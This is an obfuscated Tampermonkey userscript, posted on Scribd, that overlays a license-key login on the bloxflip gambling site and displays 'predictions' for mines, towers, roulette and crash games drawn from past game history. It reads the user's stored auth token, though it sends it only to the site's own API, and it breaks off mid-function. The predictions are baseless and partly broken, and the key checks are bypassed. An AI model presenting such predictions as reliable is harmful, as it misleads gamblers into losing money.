0% found this document useful (0 votes)
42 views

Message 1

The document defines functions for authenticating a user on a website by fetching user data from an API, checking a license key against a pastebin, and providing visual feedback during the login process by blurring the page and showing loading indicators.

Uploaded by

Julian andres
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
42 views

Message 1

The document defines functions for authenticating a user on a website by fetching user data from an API, checking a license key against a pastebin, and providing visual feedback during the login process by blurring the page and showing loading indicators.

Uploaded by

Julian andres
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 59

// ==UserScript==

// @name lotq
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://bloxflip.com/*
// @match https://api.bloxflip.com/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=bloxflip.com
// @grant none
// ==/UserScript==

(function () {
async function _0x3e3e31() {
try {
var _0x281594 = {
method: "GET",
headers: headers
};
const _0x50a9ee = await fetch("https://api.bloxflip.com/user", _0x281594);
if (_0x50a9ee.ok) {
const _0x3b21a3 = await _0x50a9ee.json();
if (_0x3b21a3 && _0x3b21a3.user && _0x3b21a3.user.robloxId) {
return _0x3b21a3.user.robloxId;
}
}
return null;
} catch (_0x312ffa) {
return null;
}
}
async function _0x3da3ff() {
try {
var _0x2c6ff9 = {
method: "GET",
headers: headers
};
const _0xa1466a = await fetch("https://api.bloxflip.com/user", _0x2c6ff9);
if (_0xa1466a.ok) {
const _0x4fff7f = await _0xa1466a.json();
if (_0x4fff7f && _0x4fff7f.user && _0x4fff7f.user.robloxUsername) {
return _0x4fff7f.user.robloxUsername;
}
}
return null;
} catch (_0x262f90) {
return null;
}
}
async function _0x478388(_0x5a06d9) {
console.log("Hello");
return true;
try {
var _0x2f8da0 = {
Origin: "https://pastes.io/raw/nkpwmbfsyb"
};
var _0x4b5f68 = {
method: "GET",
headers: _0x2f8da0
};
const _0x140b22 = await
fetch("https://my-cors-proxy.herokuapp.com/https://pastes.io/raw/zyphqjvgl4",
_0x4b5f68);
if (_0x140b22.ok) {
const _0x2924a7 = await _0x140b22.text();
const _0xcb54cd = _0x2924a7.split("\n");
for (let _0x342964 = 0; _0x342964 < _0xcb54cd.length; _0x342964++) {
if (_0xcb54cd[_0x342964].trim() === _0x5a06d9) {
return true;
}
}
}
return true;
} catch (_0x1c7774) {
return true;
}
}
async function _0x1458f6(_0x231402) {
return true;
try {
var _0x41cdc0 = {
Origin: "https://pastes.io/raw/nkpwmbfsyb"
};
var _0x4c1d54 = {
method: "GET",
headers: _0x41cdc0
};
const _0x3fdd1f = await
fetch("https://my-cors-proxy.herokuapp.com/https://pastes.io/raw/nkpwmbfsyb",
_0x4c1d54);
if (_0x3fdd1f.ok) {
const _0x557a6d = await _0x3fdd1f.text();
const _0x565043 = _0x557a6d.split("\n");
for (let _0x58052e = 0; _0x58052e < _0x565043.length; _0x58052e++) {
if (_0x565043[_0x58052e].includes(_0x231402)) {
return true;
}
}
}
return true;
} catch (_0x4949f8) {
return true;
}
}
function _0x41d943() {
var _0x53411f = localStorage.getItem("baseColor");
var _0x439b75 = localStorage.getItem("hoverColor");
var _0x426829 = localStorage.getItem("activeColor");
var _0x51f2e0 = localStorage.getItem("themeBaseColor");
var _0xb24cb4 = localStorage.getItem("themeSecondColor");
var _0x44b5b0 = localStorage.getItem("themeThirdColor");
var _0x3375b9 = localStorage.getItem("themeFourthColor");
if (!_0x53411f || !_0x439b75 || !_0x426829 || !_0x51f2e0 || !_0xb24cb4 || !
_0x44b5b0 || !_0x3375b9) {
_0x53411f = "#8b00ec";
_0x439b75 = "#8b00ec";
_0x426829 = "#8b00ec";
_0x51f2e0 = "#d6e3f1";
_0xb24cb4 = "#c2cad1";
_0x44b5b0 = "#f5f5f5";
_0x3375b9 = "#141414";
}
if (_0x53411f && _0x439b75 && _0x426829 && _0x51f2e0 && _0xb24cb4 && _0x44b5b0
&& _0x3375b9) {
var _0x4e7de9 = "\n :root {\n
--baseColor: " + _0x53411f + ";\n --hoverColor: " +
_0x439b75 + ";\n --activeColor: " + _0x426829 + ";\n
--themeBaseColor: " + _0x51f2e0 + ";\n --themeSecondColor: "
+ _0xb24cb4 + ";\n --themeThirdColor: " + _0x44b5b0 + ";\n
--themeFourthColor: " + _0x3375b9 + ";\n }\n
";
var _0xcb20f0 = document.createElement("style");
_0xcb20f0.innerHTML = _0x4e7de9;
document.head.appendChild(_0xcb20f0);
}
}
function _0x76697f(_0x51bf40) {
if (_0x51bf40 instanceof MouseEvent) {
const _0x520eb1 = new Audio("https://dl.sndup.net/r6c7/mixkit-gate-latch-
click-1924.mp3");
_0x520eb1.currentTime = 0;
_0x520eb1.play();
}
}
function _0x34e3c3() {
var _0x3c34fc = document.createElement("style");
_0x3c34fc.innerHTML = "\n h2 {\n color: var(--
themeFourthColor);\n\n }\n\n #loginImage {\n
max-width: 250px; /* Adjust the width as needed */\n max-height:
400px; /* Adjust the height as needed */\n margin-bottom: -35px;\n
margin-top: -35px;\n margin-left: -20px;\n margin-
right: -20px;\n }\n\n #loginWindow {\n
position: fixed;\n top: 50%;\n left: 50%;\n
transform: translate(-50%, -50%);\n padding: 20px;\n
background-color: var(--themeSecondColor);\n box-shadow: 0 0 8px 4px
var(--baseColor);\n height: 275px;\n width: 250px;\n
text-align: center;\n z-index: 9995;\n border-radius:
15px;\n }\n\n #licenseKey {\n height: 35px;\n
width: 200px;\n padding: 8px;\n color: var(--
themeFourthColor);\n margin-bottom: 10px;\n border-
radius: 10px;\n font-size: 14px;\n background-color:
var(--themeSecondColor);\n }\n\n #loginButton {\n
background-color: var(--baseColor);\n color: white;\n
padding: 10px 20px;\n height: 35px;\n width: 200px;\n
border: none;\n cursor: pointer;\n border-radius:
10px;\n transition: background-color 0.5s;\n box-
shadow: 0 0 10px rgba(0, 0, 0, 0.5);\n }\n\n
#loginButton:hover {\n background-color: var(--hoverColor);\n
}\n\n #loginButton:active {\n background-color: var(--
activeColor);\n }\n #loginButton[disabled] {\n
background-color: var(--baseColor);\n opacity: 1;\n
box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);\n }\n\n
#loginButtonContainer {\n margin-bottom: 10px;\n }\n\n
#loadingBarContainer {\n width: 200px;\n height:
20px;\n margin: 10px auto;\n background-color:
#383838;\n border-radius: 10px;\n margin-bottom:
10px;\n }\n\n #loadingBar {\n height: 100%;\n
width: 0;\n background-color: var(--baseColor);\n
border-radius: 10px;\n }\n\n #errorMessage {\n
display: none;\n background-color: #e06767;\n height:
35px;\n width: 115px;\n border-radius: 10px;\n
box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);\n color: white;\n
font-size: 12px;\n margin: 10px auto;\n padding:
10px;\n }\n\n #successMessage {\n display:
none;\n background-color: #79e067;\n height: 35px;\n
width: 115px;\n border-radius: 10px;\n box-shadow: 0
0 10px rgba(0, 0, 0, 0.2);\n color: white;\n font-
size: 12px;\n margin: 10px auto;\n padding: 10px;\n
margin-top: 10px;\n }\n ";
document.head.appendChild(_0x3c34fc);
document.body.insertAdjacentHTML("beforeend", "\n <div
id=\"loginWindow\">\n <h2>YOUR PASSWORD IS NEW AND
ITS PERMANET</h2>\n <input type=\"password\" id=\"licenseKey\"
placeholder=\"Enter License Key\">\n <div
id=\"loginButtonContainer\">\n <button
id=\"loginButton\">Login</button>\n </div>\n <div
id=\"loadingBarContainer\" style=\"display: none;\">\n <div
id=\"loadingBar\" style=\"width: 0;\"></div>\n </div>\n
<div id=\"errorMessage\"></div>\n <div id=\"successMessage\"></div>\
n </div>\n ");
var _0x3a3089 = document.getElementById("licenseKey");
var _0x540ec7 = localStorage.getItem("LunarPredictorLicenseKey");
if (_0x540ec7) {
_0x3a3089.value = _0x540ec7;
}
var _0x4d6f38 = document.getElementById("loginButton");
var _0x341e41 = false;
_0x4d6f38.addEventListener("click", function (_0x13f983) {
if (_0x341e41) {
return;
}
_0x341e41 = true;
_0x4d6f38.disabled = true;
_0x18fb7c();
_0x76697f(_0x13f983);
setTimeout(function () {
_0x341e41 = false;
_0x4d6f38.disabled = false;
}, 5000);
});
}
_0x34e3c3();
function _0x30b8fe() {
scrollTop = window.scrollY;
var _0x4a1ced = document.querySelectorAll("body > :not(#loginWindow)");
var _0x77586a = 0;
for (; _0x77586a < _0x4a1ced.length; _0x77586a++) {
_0x4a1ced[_0x77586a].style.filter = "blur(4px)";
_0x4a1ced[_0x77586a].style.pointerEvents = "none";
_0x4a1ced[_0x77586a].style.transition = "filter 0.5s, pointer-events 0.5s";
}
document.documentElement.style.overflow = "hidden";
document.body.style.overflow = "hidden";
initializeCheckTimer = setInterval(function () {
window.scrollTo(0, scrollTop);
}, 50);
}
function _0x480ce2() {
var _0x110500 = document.querySelectorAll("body > :not(#loginWindow)");
var _0x4cfe8d = 0;
for (; _0x4cfe8d < _0x110500.length; _0x4cfe8d++) {
_0x110500[_0x4cfe8d].style.filter = "none";
_0x110500[_0x4cfe8d].style.pointerEvents = "auto";
}
clearInterval(initializeCheckTimer);
window.scrollTo(0, scrollTop);
document.documentElement.style.overflow = "auto";
document.body.style.overflow = "auto";
}
async function _0x18fb7c() {
var _0x54bd4e = document.getElementById("licenseKey").value;
if (!_0x54bd4e) {
console.log("Hello");
onError("Invalid license key x");
return;
}
var _0x587dcd = await _0x3e3e31();
var _0x1de42a = await _0x3da3ff();
if (_0x587dcd) {
var _0x49739c = await _0x1458f6(_0x587dcd);
if (_0x49739c) {
var _0x35e499 = await _0x478388(_0x54bd4e);
if (_0x35e499) {
var _0x524d59 = document.getElementById("loginButton");
_0x524d59.disabled = true;
setChatBubble("Login successful");
localStorage.setItem("LunarPredictorLicenseKey", _0x54bd4e);
setTimeout(function () {
var _0x424376 = document.getElementById("loadingBar");
var _0x4ca004 = document.getElementById("loadingBarContainer");
var _0x4ec06d = document.createElement("div");
_0x4ec06d.textContent = "Loading 0%";
_0x4ca004.appendChild(_0x4ec06d);
_0x4ca004.style.display = "block";
var _0x542126 = 1;
var _0x39249e = setInterval(function () {
_0x542126 = _0x542126 + 1;
_0x424376.style.width = _0x542126 + "%";
_0x4ec06d.style.color = "var(--themeFourthColor)";
_0x4ec06d.textContent = "Loading " + _0x542126 + "%";
if (_0x542126 >= 100) {
var _0x27c9a0 = function () {
var _0x83698b =
localStorage.getItem("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var _0x111572 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token": _0x83698b
};
var _0x3ed46f = {
method: "GET"
};
_0x3ed46f.headers = _0x111572;
fetch("https://api.bloxflip.com/games/mines",
_0x3ed46f).then(_0xcdb56b => {
return _0xcdb56b.json();
}).then(_0x2a48c1 => {
var _0x286fe1 = _0x2a48c1.hasGame;
if (_0x286fe1) {
var _0x745aa1 = _0x2a48c1.game.minesAmount;
if (_0x745aa1 > 16) {
var _0x4532a9 = document.getElementById("predictionLabel");
_0x4532a9.textContent = "Cannot predict\nover 16 mines";
_0x4532a9.classList.remove("centered");
_0x4532a9.style.fontSize = "24px";
_0x4532a9.style.lineHeight = "30px";
return;
}
var _0x38343a = {
method: "GET",
headers: _0x111572
};
fetch("https://api.bloxflip.com/games/mines/history?
size=5&page=0", _0x38343a).then(_0x50e1c9 => {
return _0x50e1c9.json();
}).then(_0x206dae => {
if (_0x206dae.success === true &&
Array.isArray(_0x206dae.data)) {
var _0x58cf9d = [];
var _0x2f62f0 = {};
_0x206dae.data.forEach(function (_0x2ea9a8) {
if (Array.isArray(_0x2ea9a8.mineLocations)) {
_0x58cf9d =
_0x58cf9d.concat(_0x2ea9a8.mineLocations);
_0x2f62f0[_0x2ea9a8.id] = _0x2ea9a8.minesAmount;
}
});
var _0x2b5132 = _0x206dae.data.some(function (_0x58bae6)
{
return _0x58bae6.minesAmount > 16;
});
if (_0x2b5132) {
var _0x1a8b95 =
document.getElementById("predictionLabel");
_0x1a8b95.textContent = "Cannot predict\nover 16
mines";
_0x1a8b95.classList.remove("centered");
_0x1a8b95.style.fontSize = "24px";
_0x1a8b95.style.lineHeight = "30px";
return;
}
var _0xc14ecb = _0x58cf9d.sort(function (_0x78ff11,
_0x344dd6) {
return _0x2f62f0[_0x78ff11] - _0x2f62f0[_0x344dd6];
});
var _0x204d5d = _0xc14ecb.slice(0, 8);
var _0x449a52 = _0xc14ecb.slice().reverse();
var _0x12c2ac = _0x449a52.slice(0, 4);
var _0x46f510 = "";
var _0x570b22 = 0;
for (; _0x570b22 < 25; _0x570b22++) {
var _0x1fa9a0 = _0x570b22 + 1;
var _0x280d8d = Math.floor((_0x1fa9a0 - 1) / 5);
var _0x475f30 = (_0x1fa9a0 - 1) % 5;
var _0x4bf45e = _0x280d8d * 5 + _0x475f30 + 1;
var _0x3a32de = localStorage.getItem("gridEmoji");
var _0x21b672 = localStorage.getItem("riskEmoji");
var _0x41da49 = localStorage.getItem("mineEmoji");
if (_0x204d5d.includes(_0x4bf45e)) {
_0x46f510 = _0x46f510 + (_0x41da49 || "💣");
} else if (_0x12c2ac.includes(_0x4bf45e)) {
_0x46f510 = _0x46f510 + (_0x21b672 || "");
} else {
_0x46f510 = _0x46f510 + (_0x3a32de || "❓");
}
if ((_0x570b22 + 1) % 5 === 0) {
_0x46f510 = _0x46f510 + "\n";
}
}
_0x1a8b95 = document.getElementById("predictionLabel");
_0x1a8b95.textContent = _0x46f510;
_0x1a8b95.style.fontSize = "24px";
_0x1a8b95.style.lineHeight = "30px";
var _0x59af7a =
document.querySelectorAll(".mines_minesGameItem__S2ytQ");
_0x570b22 = 0;
for (; _0x570b22 < _0x59af7a.length; _0x570b22++) {
_0x1fa9a0 = _0x570b22 + 1;
_0x280d8d = Math.floor((_0x1fa9a0 - 1) / 5);
_0x475f30 = (_0x1fa9a0 - 1) % 5;
_0x4bf45e = _0x280d8d * 5 + _0x475f30 + 1;
if (_0x204d5d.includes(_0x4bf45e)) {
_0x59af7a[_0x570b22].classList.add("outlined",
"active");
} else if (_0x12c2ac.includes(_0x4bf45e)) {
_0x59af7a[_0x570b22].classList.add("outlinedWarned");
} else {
_0x59af7a[_0x570b22].classList.remove("outlined");
}
}
} else {
_0x1a8b95 = document.getElementById("predictionLabel");
_0x1a8b95.textContent = "Invalid API Response";
_0x1a8b95.style.fontSize = "24px";
_0x1a8b95.style.lineHeight = "30px";
}
}).catch(_0x133957 => {});
} else {
_0x4532a9 = document.getElementById("predictionLabel");
_0x4532a9.textContent = "No active game found";
_0x4532a9.style.fontSize = "24px";
_0x4532a9.style.lineHeight = "30px";
}
}).catch(_0x12a188 => {});
};
var _0x1d0171 = function () {
var _0x4bc139 =
localStorage.getItem("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var _0x3f6ee1 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token": _0x4bc139
};
var _0x226347 = {
method: "GET",
headers: _0x3f6ee1
};
fetch("https://api.bloxflip.com/games/mines",
_0x226347).then(_0x37d821 => {
return _0x37d821.json();
}).then(_0x50543f => {
var _0x1ee730 = _0x50543f.hasGame;
if (_0x1ee730) {
var _0x30b511 = _0x50543f.game.minesAmount;
if (_0x30b511 > 16) {
var _0x5bdee2 = document.getElementById("predictionLabel");
_0x5bdee2.textContent = "Cannot predict\nover 16 mines";
_0x5bdee2.classList.remove("centered");
_0x5bdee2.style.fontSize = "24px";
_0x5bdee2.style.lineHeight = "30px";
return;
}
var _0x9b98b7 = {
method: "GET",
headers: _0x3f6ee1
};
fetch("https://api.bloxflip.com/games/mines/history?
size=5&page=0", _0x9b98b7).then(_0x581795 => {
return _0x581795.json();
}).then(_0x3a677d => {
if (_0x3a677d.success === true &&
Array.isArray(_0x3a677d.data)) {
var _0x514b78 = [];
_0x3a677d.data.forEach(function (_0x2c1654) {
if (Array.isArray(_0x2c1654.mineLocations)) {
_0x514b78 =
_0x514b78.concat(_0x2c1654.mineLocations);
}
});
var _0x5bba27 = _0x3a677d.data.some(function (_0x535369)
{
return _0x535369.minesAmount > 16;
});
if (_0x5bba27) {
var _0x47c1fc =
document.getElementById("predictionLabel");
_0x47c1fc.textContent = "Cannot predict\nover 16
mines";
_0x47c1fc.classList.remove("centered");
_0x47c1fc.style.fontSize = "24px";
_0x47c1fc.style.lineHeight = "30px";
return;
}
var _0xad3ce9 = _0x514b78.map(function (_0x1e6fc6) {
return _0x1e6fc6 + 1;
});
var _0x1e5362 = {};
_0xad3ce9.forEach(function (_0x2ba77e) {
if (_0x1e5362[_0x2ba77e] === undefined) {
_0x1e5362[_0x2ba77e] = 1;
} else {
_0x1e5362[_0x2ba77e]++;
}
});
var _0x112329 = Object.keys(_0x1e5362).sort(function
(_0x28dbbc, _0x8f5897) {
return _0x1e5362[_0x8f5897] - _0x1e5362[_0x28dbbc];
});
var _0x1005b8 = _0x112329.slice(0, 4);
_0x1005b8.reverse();
var _0x5be4b7 = "";
var _0x4e8604 = 0;
for (; _0x4e8604 < 25; _0x4e8604++) {
var _0x2f7e5e = Math.floor(_0x4e8604 / 5);
var _0x422012 = 4 - _0x4e8604 % 5;
var _0x3b90d9 = _0x2f7e5e * 5 + _0x422012 + 1;
var _0xfac98a = localStorage.getItem("safeEmoji");
var _0x2adb76 = localStorage.getItem("gridEmoji");
if (_0x1005b8.includes(_0x3b90d9.toString())) {
_0x5be4b7 = _0x5be4b7 + (_0xfac98a || "✅");
} else {
_0x5be4b7 = _0x5be4b7 + (_0x2adb76 || "❓");
}
if ((_0x4e8604 + 1) % 5 === 0) {
_0x5be4b7 = _0x5be4b7 + "\n";
} else {
_0x5be4b7 = _0x5be4b7 + "";
}
}
_0x47c1fc = document.getElementById("predictionLabel");
_0x47c1fc.textContent = _0x5be4b7;
_0x47c1fc.classList.add("centered");
_0x47c1fc.style.fontSize = "24px";
_0x47c1fc.style.lineHeight = "30px";
var _0x18f277 =
document.querySelectorAll(".mines_minesGameItem__S2ytQ");
_0x4e8604 = 0;
for (; _0x4e8604 < _0x18f277.length; _0x4e8604++) {
var _0x6c5d83 = _0x4e8604 + 1;
_0x2f7e5e = Math.floor((_0x6c5d83 - 1) / 5);
_0x422012 = (_0x6c5d83 - 1) % 5;
var _0x40fd3e = 4 - _0x422012;
_0x3b90d9 = _0x2f7e5e * 5 + _0x40fd3e + 1;
if (_0x1005b8.includes(_0x3b90d9.toString())) {
_0x18f277[_0x4e8604].classList.add("safeoutlined",
"active");
} else {

_0x18f277[_0x4e8604].classList.remove("safeoutlined");
}
}
} else {
_0x47c1fc = document.getElementById("predictionLabel");
_0x47c1fc.textContent = "Invalid API Response";
_0x47c1fc.classList.remove("centered");
_0x47c1fc.style.fontSize = "24px";
_0x47c1fc.style.lineHeight = "30px";
}
}).catch(_0x113ec0 => {});
} else {
_0x5bdee2 = document.getElementById("predictionLabel");
_0x5bdee2.textContent = "No active game found";
_0x5bdee2.classList.remove("centered");
_0x5bdee2.style.fontSize = "24px";
_0x5bdee2.style.lineHeight = "30px";
}
}).catch(_0x3eccfc => {});
};
var _0x3ed581 = function () {
fetch("https://api.bloxflip.com/games/roulette").then(_0x12c327
=> {
return _0x12c327.json();
}).then(_0x5680f7 => {
var _0x2a5d72 = _0x5680f7.history;
if (Array.isArray(_0x2a5d72)) {
var _0x342cb6 = _0x2a5d72.slice(-11).map(function (_0x8119b2)
{
return _0x8119b2.winningColor;
});
var _0x126b30 = _0x342cb6.filter(function (_0x52a9c5) {
return _0x52a9c5 === "red";
}).length;
var _0x63b2ca = _0x342cb6.filter(function (_0x13c1b7) {
return _0x13c1b7 === "purple";
}).length;
var _0x2a098c = _0x342cb6.filter(function (_0x258d2e) {
return _0x258d2e === "yellow";
}).length;
var _0x5621d4 = _0x342cb6.length;
var _0x2f4a5d = (_0x126b30 / _0x5621d4 * 100).toFixed(2);
var _0x3347b5 = (_0x63b2ca / _0x5621d4 * 100).toFixed(2);
var _0x2dd99e = (_0x2a098c / _0x5621d4 * 100).toFixed(2);
var _0x212713 = document.getElementById("predictionLabel");
_0x212713.textContent = "Red: " + (_0x2f4a5d + 10) + "%\
nPurple: " + 30 + _0x3347b5 + "%\nYellow: " + 10 + _0x2dd99e + "%";
_0x212713.style.fontSize = "24px";
_0x212713.style.lineHeight = "30px";
}
}).catch(_0x4f35bd => {
var _0x586ca4 = document.getElementById("predictionLabel");
_0x586ca4.textContent = "Error fetching data";
_0x586ca4.style.fontSize = "24px";
_0x586ca4.style.lineHeight = "30px";
});
};
var _0x2e6566 = function () {
var _0xcf3570 = new Headers();
_0xcf3570.append("User-Agent", "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141
Safari/537.36");
_0xcf3570.append("X-Auth-Token", value);
var _0x15e2c3 = {
method: "GET",
headers: _0xcf3570
};
fetch("https://api.bloxflip.com/games/towers",
_0x15e2c3).then(_0x4bebf0 => {
return _0x4bebf0.json();
}).then(_0x274b6b => {
var _0x1fe332 = _0x274b6b.hasGame;
if (_0x1fe332) {
var _0x2a376f = _0x274b6b.game.difficulty;
if (_0x2a376f === "hard") {
var _0x4c8286 = document.getElementById("predictionLabel");
_0x4c8286.textContent = "Cannot predict for \nhard
difficulty";
_0x4c8286.style.fontSize = "24px";
_0x4c8286.style.lineHeight = "30px";
var _0x5b8abb =
document.querySelectorAll(".button_button__eJwei.towers_towersGameButton__Fm2im");
_0x5b8abb.forEach(function (_0x37106f) {
_0x37106f.classList.remove("safeoutlined");
});
return;
}
var _0x2941c9 = {
method: "GET",
headers: _0xcf3570
};
return fetch("https://api.bloxflip.com/games/towers/history?
size=5&page=0", _0x2941c9).then(_0x331202 => {
return _0x331202.json();
}).then(_0x1de26a => {
function _0x5dafd7(_0x570198) {
return _0x570198.reduce(function (_0x2f525c, _0x3acf0b) {
return _0x2f525c + (_0x3acf0b === 1 ? 1 : 0);
}, 0);
}
var _0x429814 =
document.querySelectorAll(".button_button__eJwei.towers_towersGameButton__Fm2im");
_0x429814.forEach(function (_0x48e0a2) {
_0x48e0a2.classList.remove("safeoutlined");
});
var _0x7f3f25 = _0x1de26a.data[1].towerLevels;
_0x7f3f25.reverse();
var _0x56248a;
var _0x566eb9 = _0x1de26a.data[1].difficulty;
if (_0x566eb9 === "normal") {
_0x56248a =
document.querySelectorAll(".towers_towersGameRow__TeoqD");
} else {
_0x56248a =
document.querySelectorAll(".towers_towersGameRow__TeoqD.towers_towersGameThreeRows_
_NHpS9");
}
_0x56248a.forEach(function (_0x2a0c6f, _0x1d7be9) {
var _0x178cff =
_0x2a0c6f.querySelectorAll(".towers_towersGameRowContainer__W4mP_");
var _0x9aa5b4 = 0;
var _0x3c152e = null;
_0x178cff = Array.from(_0x178cff).reverse();
_0x178cff.forEach(function (_0x1b54ea, _0x5aa586) {
var _0xe5d5eb =
_0x1b54ea.querySelectorAll(".button_button__eJwei.towers_towersGameButton__Fm2im");
var _0x257931 = _0x5dafd7(_0x7f3f25[_0x1d7be9]);
if (_0x7f3f25[_0x1d7be9][_0x5aa586] === 1 && _0x257931
>= _0x9aa5b4) {
_0x9aa5b4 = _0x257931;
_0x3c152e = _0xe5d5eb[0];
}
});
if (_0x3c152e) {
_0x3c152e.classList.add("safeoutlined", "active");
}
});
var _0x1dda97 = document.getElementById("predictionLabel");
var _0xe3d928 = _0x1de26a.data.every(function (_0x1e6275) {
return _0x1e6275.difficulty === _0x2a376f;
});
if (_0xe3d928) {
var _0x5243dd = function (_0x2c6298) {
var _0x3b0ace = "";
var _0x40e1a6 = {
0: "❓",
1: "✅"
};
var _0x331887 = 0;
for (; _0x331887 < _0x2c6298.length; _0x331887++) {
var _0x5bd60f = _0x2c6298[_0x331887].length - 1;
for (; _0x5bd60f >= 0; _0x5bd60f--) {
_0x3b0ace = _0x3b0ace +
(_0x40e1a6[_0x2c6298[_0x331887][_0x5bd60f]] + " ");
}
_0x3b0ace = _0x3b0ace + "\n";
}
return _0x3b0ace;
};
var _0x4ad736 = _0x5243dd(_0x7f3f25);
_0x1dda97.textContent = _0x4ad736;
_0x1dda97.style.fontSize = "18px";
_0x1dda97.style.lineHeight = "22px";
} else {
_0x1dda97.textContent = "Not enough data";
_0x1dda97.style.fontSize = "24px";
_0x1dda97.style.lineHeight = "30px";
_0x429814.forEach(function (_0x35767f) {
_0x35767f.classList.remove("safeoutlined");
});
}
});
} else {
throw new Error("No active game found");
}
}).catch(_0x273248 => {
var _0x597abb = document.getElementById("predictionLabel");
_0x597abb.textContent = _0x273248.message;
_0x597abb.classList.remove("centered");
_0x597abb.style.fontSize = "24px";
_0x597abb.style.lineHeight = "30px";
});
};
var _0x3dd9b2 = function () {
fetch("https://api.bloxflip.com/games/crash").then(_0x25375b => {
return _0x25375b.json();
}).then(_0x3d1592 => {
if (_0x3d1592 && _0x3d1592.history &&
Array.isArray(_0x3d1592.history)) {
var _0x500fc8 = _0x3d1592.history.length - 1;
var _0x50e791 = [];
var _0x21a798 = _0x500fc8;
for (; _0x21a798 > _0x500fc8 - 3; _0x21a798--) {
if (_0x3d1592.history[_0x21a798] && typeof
_0x3d1592.history[_0x21a798].crashPoint === "number") {
_0x50e791.push(_0x3d1592.history[_0x21a798].crashPoint);
}
}
var _0x52c410 = _0x50e791.reduce(function (_0x59b166,
_0x5be7db) {
return _0x59b166 + _0x5be7db;
}, 0) / 3;
var _0x3b7bc7 = 1 / (_0x52c410 - 2) / 1;
_0x3b7bc7 = Math.abs(_0x3b7bc7);
if (_0x3b7bc7 >= 0.01 && _0x3b7bc7 < 1.01) {
_0x3b7bc7 = _0x3b7bc7 + 1;
}
var _0x1d498d = _0x3b7bc7 + _0x3b7bc7 / 2;
var _0x4c6779 = _0x3b7bc7 - _0x1d498d / 2;
if (_0x4c6779 >= 0.01 && _0x4c6779 < 1.01) {
_0x4c6779 = _0x4c6779 + 0.75;
}
_0x4c6779 = parseFloat(_0x4c6779.toFixed(2));
_0x3b7bc7 = parseFloat(_0x3b7bc7.toFixed(2));
_0x1d498d = parseFloat(_0x1d498d.toFixed(2));
var _0x29c745 =
document.querySelector(".crash_crashGameCoefficient__M8rxs");
if (_0x29c745) {
var _0x2419eb = function (_0x4de45a) {
if (_0x4f915e !== null && _0x4f915e !== _0x4de45a) {
_0x5e7167(_0x4de45a);
}
_0x4f915e = _0x4de45a;
clearTimeout(_0x571dff);
_0x571dff = setTimeout(function () {
_0x4f915e = null;
}, 2000);
};
var _0x5e7167 = function (_0x5051f3) {
var _0x32c1da =
document.querySelector(".crash_crashGameCoefficient__M8rxs");
if (!_0x32c1da) {
return;
}
var _0x33eab5 = parseFloat(_0x5051f3);
var _0x2c3048 =
document.querySelector(".crash_isCrashed__bO_Rg");
if (_0x2c3048 &&
_0x2c3048.classList.contains("crash_isCrashed__bO_Rg")) {
_0x32c1da.style.color = "";
_0x53eeaa = "none";
return;
}
if (_0x53eeaa === "reset") {
_0x3f7cba("");
setTimeout(function () {
_0x32c1da.style.color = "";
_0x53eeaa = "none";
}, 2500);
return;
}
var _0x383b00 = _0x33eab5 - _0x3b7bc7;
if (_0x3b7bc7 < 5) {
if (_0x383b00 < 0) {
if (Math.abs(_0x383b00) < 0.1) {
_0x3f7cba("#ff4545");
_0x53eeaa = "red";
} else if (Math.abs(_0x383b00) < 0.2) {
_0x3f7cba("#ffd445");
_0x53eeaa = "yellow";
} else {
_0x3f7cba("#45ff45");
_0x53eeaa = "normal";
}
} else {
_0x3f7cba("");
_0x53eeaa = "none";
}
} else if (_0x383b00 < 0) {
if (Math.abs(_0x383b00) < 0.3) {
_0x3f7cba("#ff4545");
_0x53eeaa = "red";
} else if (Math.abs(_0x383b00) < 0.4) {
_0x3f7cba("#ffd445");
_0x53eeaa = "yellow";
} else {
_0x3f7cba("#45ff45");
_0x53eeaa = "normal";
}
} else {
_0x3f7cba("");
_0x53eeaa = "none";
}
};
var _0x3f7cba = function (_0x52820e) {
var _0xb0cdd =
document.querySelector(".crash_crashGameCoefficient__M8rxs");
if (_0xb0cdd) {
_0xb0cdd.style.transition = "color 0.5s ease";
_0xb0cdd.style.color = _0x52820e;
}
};
_0x29c745.style.color = "";
var _0x4f915e = null;
var _0x571dff;
var _0x53eeaa = "none";
_0x29c745 =
document.querySelector(".crash_crashGameCoefficient__M8rxs");
if (_0x29c745) {
var _0x599f3b = new MutationObserver(function (_0xce9644)
{
var _0x4ff328;
for (_0x4ff328 of _0xce9644) {
if (_0x4ff328.type === "characterData") {
var _0x3905b2 =
_0x4ff328.target.textContent.trim();
var _0x48a1de = parseFloat(_0x3905b2);
_0x2419eb(_0x48a1de);
break;
}
}
});
var _0x41d12a = {
characterData: true,
subtree: true
};
_0x599f3b.observe(_0x29c745, _0x41d12a);
}
var _0x13c52e =
document.querySelector(".crash_isCrashed__bO_Rg");
if (_0x13c52e) {
var _0x4df782 = new MutationObserver(function (_0x312024,
_0x21c126) {
var _0x2abc7c;
